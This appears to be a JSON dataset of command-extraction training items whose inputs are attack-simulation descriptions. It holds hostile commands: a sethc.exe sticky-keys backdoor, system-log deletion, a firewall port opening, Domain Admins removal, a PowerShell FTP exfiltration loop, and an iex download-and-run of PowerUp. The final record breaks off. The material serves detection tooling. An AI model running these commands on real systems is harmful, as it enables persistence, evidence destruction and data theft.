    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The sticky keys binary can be replaced with cmd.exe by executing this multi-step command: IF NOT EXIST C:\\Windows\\System32\\sethc_backup.exe (copy C:\\Windows\\System32\\sethc.exe C:\\Windows\\System32\\sethc_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\sethc.exe /A\nicacls C:\\Windows\\System32\\sethc.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\sethc.exe\n",
    "output": "{\"command_list\": [\"IF NOT EXIST C:\\\\Windows\\\\System32\\\\sethc_backup.exe (copy C:\\\\Windows\\\\System32\\\\sethc.exe C:\\\\Windows\\\\System32\\\\sethc_backup.exe) ELSE ( pushd )\\ntakeown /F C:\\\\Windows\\\\System32\\\\sethc.exe /A\\nicacls C:\\\\Windows\\\\System32\\\\sethc.exe /grant Administrators:F /t\\ncopy /Y C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\Windows\\\\System32\\\\sethc.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test removes the system log file with the command: sudo unlink #{system_log_path}",
    "output": "{\"command_list\": [\"sudo unlink #{system_log_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test will open a specified local port to any profile by executing this command: netsh advfirewall firewall add rule name=\"Open Port to Any\" dir=in protocol=tcp localport=#{local_port} action=allow profile=any",
    "output": "{\"command_list\": [\"netsh advfirewall firewall add rule name=\\\"Open Port to Any\\\" dir=in protocol=tcp localport=#{local_port} action=allow profile=any\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For tailoring attacks to a specific kernel, the adversary may execute the command: uname -srm, to retrieve the necessary information.",
    "output": "{\"command_list\": [\"uname -srm\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The script checks if the specified user is in the domain admins group and removes them, executing this command: $PWord = ConvertTo-SecureString -String #{super_pass} -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{super_user}, $PWord\nif((Get-ADUser #{remove_user} -Properties memberof).memberof -like \"CN=Domain Admins*\"){\n  Remove-ADGroupMember -Identity \"Domain Admins\" -Members #{remove_user} -Credential $Credential -Confirm:$False\n} else{\n    write-host \"Error - Make sure #{remove_user} is in the domain admins group\" -foregroundcolor Red\n}",
    "output": "{\"command_list\": [\"$PWord = ConvertTo-SecureString -String #{super_pass} -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{super_user}, $PWord\\nif((Get-ADUser #{remove_user} -Properties memberof).memberof -like \\\"CN=Domain Admins*\\\"){\\n  Remove-ADGroupMember -Identity \\\"Domain Admins\\\" -Members #{remove_user} -Credential $Credential -Confirm:$False\\n} else{\\n    write-host \\\"Error - Make sure #{remove_user} is in the domain admins group\\\" -foregroundcolor Red\\n}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test demonstrates MAZE ransomware's data exfiltration capability through FTP, which can be simulated using the following command:\n$Dir_to_copy = \"$env:windir\\\\temp\"\n$ftp = \"ftp://#{ftp_server}/\"\n$web_client = New-Object System.Net.WebClient\n$web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}')\nif (test-connection -count 1 -computername \"#{ftp_server}\" -quiet)\n{foreach($file in (dir $Dir_to_copy \"*.7z\"))\n{echo \"Uploading $file...\"\n$uri = New-Object System.Uri($ftp+$file.name)\n$web_client.UploadFile($uri, $file.FullName)}}\nelse\n{echo \"FTP Server Unreachable. Please verify the server address in input args and try again.\"}",
    "output": "{\"command_list\": [\"$Dir_to_copy = \\\"$env:windir\\\\temp\\\"\\n$ftp = \\\"ftp://#{ftp_server}/\\\"\\n$web_client = New-Object System.Net.WebClient\\n$web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}')\\nif (test-connection -count 1 -computername \\\"#{ftp_server}\\\" -quiet)\\n{foreach($file in (dir $Dir_to_copy \\\"*.7z\\\"))\\n{echo \\\"Uploading $file...\\\"\\n$uri = New-Object System.Uri($ftp+$file.name)\\n$web_client.UploadFile($uri, $file.FullName)}}\\nelse\\n{echo \\\"FTP Server Unreachable. Please verify the server address in input args and try again.\\\"}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To remotely control a Windows device, an adversary can utilize the Radmin Viewer Utility by running the following command: \"%PROGRAMFILES(x86)%/#{radmin_exe}\"\n",
    "output": "{\"command_list\": [\"\\\"%PROGRAMFILES(x86)%/#{radmin_exe}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    